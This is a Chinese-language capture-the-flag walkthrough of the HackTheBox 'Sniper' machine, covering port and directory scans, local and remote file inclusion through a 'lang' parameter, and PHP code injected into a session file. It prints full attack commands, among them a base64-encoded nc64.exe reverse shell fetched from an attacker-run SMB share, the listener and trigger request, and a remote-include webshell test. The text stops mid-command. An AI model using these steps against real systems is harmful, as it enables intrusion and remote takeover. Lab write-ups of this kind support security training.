Sniper是一个中等难度的靶机,知识点涉及本地文件包含利用、远程文件包含利用、凭证制作、恶意chm文件利用等。
通关思维导图
端口探测
首先使用 nmap 进行端口扫描
nmap -Pn -p- -sV -sC -A 10.10.10.151 -oA nmap_Sniper
80端口
访问后发现是一家名为 Sniper Co. 的公司,主要业务是快递
点击Our servers会跳转至/blog/index.php,点击User Portal会跳转至/user/login.php登陆界面
目录扫描
使用 gobuster 进行目录扫描
gobuster dir -u http://10.10.10.151 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
blog
在博客中存在语言下拉框,分别是
http://10.10.10.151/blog/?lang=blog-en.php
http://10.10.10.151/blog/?lang=blog-es.php
http://10.10.10.151/blog/?lang=blog-fr.php
三种语言界面都在同一个目录中,可以判断它是通过 php 代码include $_GET[‘lang’]对其进行包含,如果过滤不严谨的话则可能存在文件包含漏洞
user\
在登陆界面下面有一个注册界面,尝试注册账户
使用新注册的账户 admin/admin 登陆其中
【→所有资源关注我,私信回复“资料”获取←】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记
验证文件包含
本地文件包含
首先尝试读取上次目录的index.php
显示无法读取,但是使用绝对路径\windows\win.ini则能够读取成功
远程文件包含
使用 smbserver 在本地开启 smb 服务,并在该目录下放置一个文本文件mac.txt,内容为mac is good,
python3 smbserver.py -smb2support mac ~/hackthebox/Machines/Sniper/
尝试请求远程文件地址:\10.10.14.7\mac\mac.txt
成功请求到mac.txt当中的内容,查看响应发现靶机已向本地发送请求
如果 smb 服务建立出现问题也可以使用以下方式
vim /etc/samba/smb.conf
[mac]
path = /root/hackthebox/Machines/Sniper/
browseable = yes
read only = no
create mask = 777
guest ok = yes
force user = nobody
force group = nogroup
开启服务
service smbd restart
service nmbd restart
本地文件包含上线
在 Windows 中默认会话地址是\windows\temp目录,登陆账户后我们可以获取到 PHPSESSID 为8b23pbv8tj4m02qisnape584d8
这样我们就能够推断 PHP 会话文件为\windows\temp\sess_8b23pbv8tj4m02qisnape584d8
接下来尝试在注册界面中的用户名中写入 PHP 执行代码
虽然能够成功注册,但是无法成功登陆
可能在后端代码中存在一些注入,尝试混淆语句
ab
成功登陆后请求会话文件发现命令执行成功
尝试获取站点下的user目录文件来了解registration.php的过滤规则,网站默认路径为\inetpub\wwwroot
ab
在读取registration.php时遇到了问题,.字符导致内容无法回显,使用*替代拿到该文件的源代码
ab
黑名单中包含了字符-$[(_.;&"\,因此在命令中不能包含这些特殊字符,通过 base64 编码可以帮助我们绕过这些字符限制
echo 'cmd /c "\10.10.14.7\mac\nc64.exe -e cmd 10.10.14.7 443"' | iconv -f ascii -t utf-16le | base64 -w0
/enc会在执行命令时将 base64 解码,可注册为以下代码
在本地监听443端口
rlwrap nc -nvlp 443
登陆成功后请求会话数据
curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\windows\temp\sess_8b23pbv8tj4m02qisnape584d8'
但是并没有返回会话,甚至都没有请求 smb 服务,于是解码 base64 并与 0xdf 大神的编码进行对比
发现我的命令并不完整,原来是\n被转义了,需要重新编码
YwBtAGQAIAAvAGMAIAAiAFwAXAAxADAALgAxADAALgAxADQALgA3AFwAbQBhAGMAXABuAGMANgA0AC4AZQB4AGUAIAAtAGUAIABjAG0AZAAgADEAMAAuADEAMAAuADEANAAuADcAIAA0ADQAMwAiAAoA
验证通过\
再次在注册界面注册账户并请求会话数据
成功拿到反弹shell
远程文件包含上线
除了通过本地文件包含,我们还可以利用远程文件包含,比如包含一个简单的PHP小马
可以请求一个包含 cmd 的参数进行验证
curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\10.10.14.5\mac\cmd.php' --data-urlencode 'cmd=whoami' | sed -n '/